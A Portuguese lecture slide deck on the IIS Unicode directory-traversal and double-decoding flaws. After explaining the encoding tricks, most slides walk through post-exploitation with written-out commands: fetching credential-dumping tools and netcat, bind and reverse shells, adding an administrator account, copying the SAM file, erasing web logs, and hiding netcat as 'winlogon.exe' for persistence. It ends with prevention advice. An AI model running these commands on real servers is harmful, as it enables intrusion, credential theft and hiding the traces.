A apresentação está carregando. Por favor, espere

A apresentação está carregando. Por favor, espere

Vulnerabilidade de Unicode

Apresentações semelhantes


Apresentação em tema: "Vulnerabilidade de Unicode"— Transcrição da apresentação:

1 Vulnerabilidade de Unicode

2 Primeira Vulnerabilidade
IIS/PWS Extended Unicode Directory Traversal Exemplo: Descoberta em Outubro de 2000 Reparado pela Microsoft no Security Bulletin MS00-078

3 Primeira Vulnerabilidade
Problema não é necessariamente Unicode (UCS-2) Vulnerabilidade reside no UTF-8 Unicode Transformation Format U U F: 0xxxxxxx U U FF: 110xxxxx 10xxxxxx U U-0000FFFF: 1110xxxx 10xxxxxx 10xxxxxx U U-001FFFFF: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx U U-03FFFFFF: 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx U U-7FFFFFFF: x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx

4 Primeira Vulnerabilidade
UTF-8:múltiplas representações para o mesmo caracter Exemplo: caracter ‘/’ 0xAF (esta é a “válida”) 0xC0 0xAF 0xE0 0x80 0xAF 0xF0 0x80 0x80 0xAF 0xF8 0x80 0x80 0x80 0xAF 0xFC 0x80 0x80 0x80 0x80 0xAF Sempre deve ser usada a representação mais curta

5 Primeira Vulnerabilidade
IIS/PWS Extended Unicode Directory Traversal Vulnerabilidade: Verificação do caminho do URL (sem processar UTF-8) Acesso ao arquivo (com processamento do UTF-8)

6 Segunda Vulnerabilidade
IIS/PWS Escaped Character Decoding Correção da primeira vulnerabilidade: Tratamento do UTF-8 Verificação do caminho do URL (sem tratar UTF) Acesso ao arquivo (com processamento do UTF-8) Nova vulnerabilidade: Dupla codificação Descoberta em Maio de 2001 Reparado pela Microsoft no Security Bulletin MS01-026

7 Segunda Vulnerabilidade
Dupla codificação Exemplo: caracter ‘\’ Representação válida: %5c Mas % = %25, 5 = %35, c = %63 Então tem-se: %255c (%25 5c = % 5c) %%35%63 (% 5 c) %25%35%63 (% 5 c) Verificação do caminho realizava uma decodificação Acesso ao arquivo realizava outra decodificação!

8 Exploração Executar o programa cmd.exe:
Porque copiar cmd.exe para outro diretório? Para evitar a ACL (access control list) definida para o usuário IUSR (Internet User) no diretório system32 (comando echo não criaria arquivo)

9 Exploração Como copiar arquivos para o servidor? Via ftp:
"cmd /c echo user nome > ftpcom" "cmd /c echo password >> ftpcom" "cmd /c echo get samdump.dll >> ftpcom" "cmd /c echo get pdump.exe >> ftpcom" "cmd /c echo get nc.exe >> ftpcom" "cmd /c echo quit >> ftpcom" "cmd /c ftp -s:ftpcom -n servidor.dominio.net"

10 Exploração Como copiar arquivos para o servidor? Via tftp:
"tftp -i ip.servidor GET nome.arquivo.exe" "tftp -i ip.servidor GET nome.arquivo.exe caminho.e.nome.local.exe" ip.servidor é o nome de uma máquina executando TFTPD (daemon de tftp)

11 Exploração Que arquivos copiar para o servidor?
Novas páginas HTML (com imagens) “Utilitários” como NetCat (nc.exe) nc -l -p PORT -e PROGRAM -l (listen) -p PORT (número da porta) -e PROGRAM (qual programa executar)

12 Exploração Usos do NetCat Como port scanner: nc -v -w2 -z target 20-30
-v (verboso) -w2 (tempo de espera em segundos) target (a máquina alvo) 20-30 (intervalo de portas para scanning) -z (zero I/O)

13 Exploração Usos do NetCat Para obter um banner: nc -v -n ip.target 80
-v (verboso) -n (endereço é numérico, não usa DNS) ip.target (número IP da máquina alvo) 80 (número da porta)

14 Exploração Usos do NetCat Para instalar um backdoor (na porta 10001):
Na máquina alvo: nc -l -p e cmd.exe -l (listen) -p (número da porta) -e cmd.exe (qual programa executar) Na máquina do atacante: nc -v -n ip.alvo 10001 -v (verboso) -n ip.alvo (número IP da máquina alvo) 10001 (número da porta)

15 Exploração Usos do NetCat Para instalar um backdoor "cliente":
Na máquina do atacante: nc -l -p 10001 -l (listen) -p (número da porta) Na máquina alvo: nc -v -n ip.atacante e cmd.exe -v (verboso) -n ip.atacante (número IP da máquina atacante) 10001 (número da porta)

16 Exploração Usos do NetCat Para transferir um arquivo:
Na máquina alvo: nc -l -p 1234 >hack.txt -l (listen) -p 1234 (número da porta) >hack.txt (nome do arquivo) Na máquina do atacante: nc destino 1234 <hack.txt

17 Exploração Uma vez em um servidor Microsoft…. Para criar uma conta:
"cmd /c net user testuser UgotHacked /ADD" Adicionar ao grupo de administradores: "cmd /c net localgroup Administrators testuser /ADD" Criar um a cópia do arquivo SAM: "cmd /c c:\winnt\repair\rdisk /s- " Encontrar o arquivo de log: "cmd /c dir /S c:\*W3SVC32" (Depois é só apagar ou sobrescrever)

18 Ativar o backdoor Via Registro:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Para maior eficácia, renomear "nc.exe" para algo menos suspeito, como "winlogon.exe" :-)

19 Ativar o backdoor Via comando AT (Schedule):
AT [\\computername] time [/EVERY:date] [/NEXT:date] "command" \\computername : nome do computador remoto, ou computador local, se omitido time : hora quando o comando deve ser executado /EVERY:date : dia do mês (ou semana) /NEXT:date : dia do mês (ou semana) "command": comando Windows ou arquivo batch a executar

20 Prevenção De acordo com a própria Microsoft:
Install your web folders on a drive other than the system drive Eliminate all sample files and unneeded features from your site Move, rename or delete any command-line utilities that could assist an attacker, and set restrictive permissions on them Be sure that the IUSR_machinename account does not have write access to any files on your system


Carregar ppt "Vulnerabilidade de Unicode"

Apresentações semelhantes


Anúncios Google